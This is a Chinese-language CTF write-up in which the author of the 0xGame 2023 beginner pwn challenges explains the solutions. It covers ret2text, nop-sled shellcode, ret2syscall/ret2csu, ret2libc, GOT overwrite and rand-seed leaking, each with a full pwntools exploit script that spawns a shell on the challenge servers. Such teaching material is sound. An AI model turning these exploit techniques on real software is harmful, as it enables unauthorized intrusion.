0xGame 2023 Pwn Week1 WriteUp

前言

本次新生赛也是笔者第一次出题，确实在过程中发现了一些可以改进的地方，而且从解题情况来看确实出难了，确实对新人及其不友好。在这里给各位磕一个（咚

这里也带一笔入坑指南，之前觉得隔壁moe的比我写得好我就没写（

入门期的pwn题基本都围绕着linux中ELF程序栈溢出相关的利用，这种程序一般都用C语言来编写。

因而pwn的基础就多了起来：

- C语言简单语法（到循环和函数即可，`malloc`及`glibc`堆是新手期之后的内容）
- `linux`命令行简单使用（`ls`查看目录，`cat`查看文件，`/bin/sh`拿`shell`等）
- linux程序栈的结构，变量是存储在栈上还是bss段上，库函数的调用过程。

不过这些都是计算机最底层的原理，也是二进制安全的必经之路。

下面正式进入题目WP。

找不到且不对劲的flag

> 需要了解基本linux命令，linux隐藏文件

TL;DR：`ls -al && cd .secret && cat flag`

后话：应该在连上之后给个提示语的，比如`Here's your linux shell, try to find my secret.`之类的。

本题连上之后就会给一个linux的shell，你需要做的是在机器上找flag。

明面上的flag显然是假的，结合hint`真flag被我藏起来了。你知道linux下怎么藏东西吗？`想到隐藏文件，本题就通了。

永远进不去的后门

> aka ret2text
>
> 需要了解一点点x86汇编，程序栈，ret2text
>
> hint: 显然世界上没有一个数可以满足x%2023=2023，但这个gets……那不就等于我想让他干什么就干什么？比如在[REDACTED]之后直接进入if条件成立的分支？

年轻人的第一道pwn。

call 指令一般在调用函数时使用，会将下一条指令地址push入栈，然后转到被调用函数执行，执行完成后把地址pop出来，继续执行原函数内容。

假设我们有修改这个被保存到栈中地址的能力，那我们显然就可以控制程序的执行流程了。

而`gets`可以输入以回车结尾，无限长度的内容。

这个题给了后门，直接跳过去即可。

```
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
s=remote("8.130.35.16",51002)
s.recv()
s.send(b"a"*0x48+p64(0x401298))
s.interactive()
```

随便乱搞的shellcode

> 会shellcraft.sh()就可以梭，但你还需要知道一些机器可以执行的、没啥用的汇编指令，比如nop。

mmap开了一段内存区域让你写shellcode，且没有任何限制。

但是最后加了一个起始地址的随机化和关闭了标准输出（1）：

```
    srand(time(0));
    shellcode_space+=rand()%0x100;
    close(1);
```

你只需要让shellcode贴着mmap区域末尾，然后把输出重定向到标准错误（2）或者标准输入（0）即可。

> 建议优先使用标准错误，高版本似乎标准输入只读

前面填充上一些干了但是等于啥也没干的指令，比如nop等。

```
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#s=process("../dist/ret2shellcode")
s=remote("192.168.3.253",51003)
#pause()
s.sendafter(b"code:\n",asm(shellcraft.sh()).rjust(0x100,b"\x90"))
s.sendline(b"exec 1>&2")
s.interactive()
```

高端的syscall

> 需要了解系统调用、x64调用约定、如何传参。
>
> 还有ret2csu，跨架构、可以控制rdi,rsi,rdx三个寄存器和执行流
>
> 这个题如果你会ret2libc可以直接梭

rax存系统调用号，不多于6个参数按rdi,rsi,rdx,rcx,r8,r9顺序存放，多于6个按不同调用约定可能会正序或倒序入栈。

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./ret2syscall")
s=remote("192.168.3.253",51004)
elf=ELF("../dist/ret2syscall")
rdi=0x00000000004012e3
rsi_r15=0x00000000004012e1
csu1=0x4012DA
csu2=0x4012C0
rax=0x401196
syscall=0x4011AE
#pause()
s.sendlineafter(b"Input: \n",flat([
    b"a"*0x18,
    rdi,0x404500,
    elf.plt.gets,
    rdi,0x3b,rax,
    csu1,0,1,0x404500,0,0,0x404508,
    csu2,
]))
#pause()
s.sendline(b"/bin/sh\x00"+p64(syscall))
s.interactive()
```

我后门呢

> aka ret2libc
>
> 目前只要知道，`parital relro`下，调用库函数一次之后，`got`表中会存放`libc`相关地址即可。剩余内容可以参考ctf-wiki。

泄露got表项，计算libc基址，然后打one_gadget（可以查一下）或者`flat([rdi,binsh,system])`都行

```
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#s=process("./ret2libc")
s=remote("192.168.3.253",51005)
elf=ELF("../dist/ret2libc")
libc=ELF("../dist/libc.so.6")
s.recvuntil(b"input:\n")
rdi=0x0000000000401333
p=flat([
    b"\x00"*0x20,
    0x404000,
    rdi,elf.got.puts,
    elf.plt.puts,
    elf.sym.main,
])
s.sendline(p)
s.recvline()
```

```
libc.address=u64(s.recvline()[:-1].ljust(8,b"\x00"))-libc.sym.puts
success(hex(libc.address))
r12__r15=0x000000000040132c
p=flat([
    b"\x00"*0x20,
    0x404000,
    r12__r15,0,0,0,0,
    libc.address+0xe3afe,
])
s.sendline(p)
s.interactive()
```

got-it

> 延迟绑定，got表里存的究竟是啥
>
> 细节想问的直接私聊我吧

给了`exit("/bin/sh")`，bss上数组没有检查下界。

`show` got表项拿libc，把`exit`的got表改成`system`地址，最后走0x2023就可以拿shell了。

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./got-it")
s=remote("192.168.3.253",51006)
libc=ELF("../dist/libc.so.6")

def menu(ch):
    s.sendlineafter(b">> ",str(ch).encode())
def show(idx):
    menu(2)
    s.sendlineafter(b"id: ",str(idx).encode())
    s.recvuntil(b"name: ")
    return s.recvline()[:-1]
def edit(idx,name):
    menu(3)
    s.sendlineafter(b"id: ",str(idx).encode())
    s.sendafter(b"name: ",name)
dat=show(-17)
info(dat)
libc.address=u64(dat.ljust(8,b"\x00"))-libc.sym.puts
success(hex(libc.address))
edit(-11,p64(libc.sym.system)[:6])
menu(0x2023)
s.interactive()
```

字符串和随机数

> 碎碎念：本来是当第二个签到题放的，结果好像成了第二持久的题（

> 而且不知道各位是否注意到本题libc为debian 11.7 （因为ubuntu的编译出来种子位置不能接在第一个输入后面，也就没法带出来种子）

主要想介绍一下字符串以0结尾，以及只要拿到种子就可以生成一模一样的随机数。

第一个输入如果发满的话可以带出来随机数种子。

用ctypes里的cdll可以加载libc库并使用其中的函数。

具体见脚本吧。

```
from pwn import *
from ctypes import cdll
context(arch='amd64', os='linux',log_level='debug')
#s=process("../dist/pwn")
s=remote("192.168.3.253",51001)
clib=cdll.LoadLibrary("../dist/libc.so.6")

if __name__=="__main__":
    #sleep(5)
    s.sendafter(b"Name: ",b"admin".ljust(0x20,b"a"))
    s.sendafter(b"Password: ",b"1s_7h1s_p9ss_7tuIy_sAf3?")
    s.recvuntil(b"admin".ljust(0x20,b"a"))
    seed=u32(s.recv(4))
    clib.srand(seed)
    arg1=clib.rand()^0xd0e0a0d0
    info(hex(arg1))
    arg2=clib.rand()^0x0b0e0e0f
    info(hex(arg2))
    chal=(arg1^arg2)%1000000
    info(hex(chal))
    s.sendlineafter(b"Wanna see it?",b"y")
    s.sendlineafter(b"Input the security code to continue: ",str(chal).encode())
    s.interactive()
```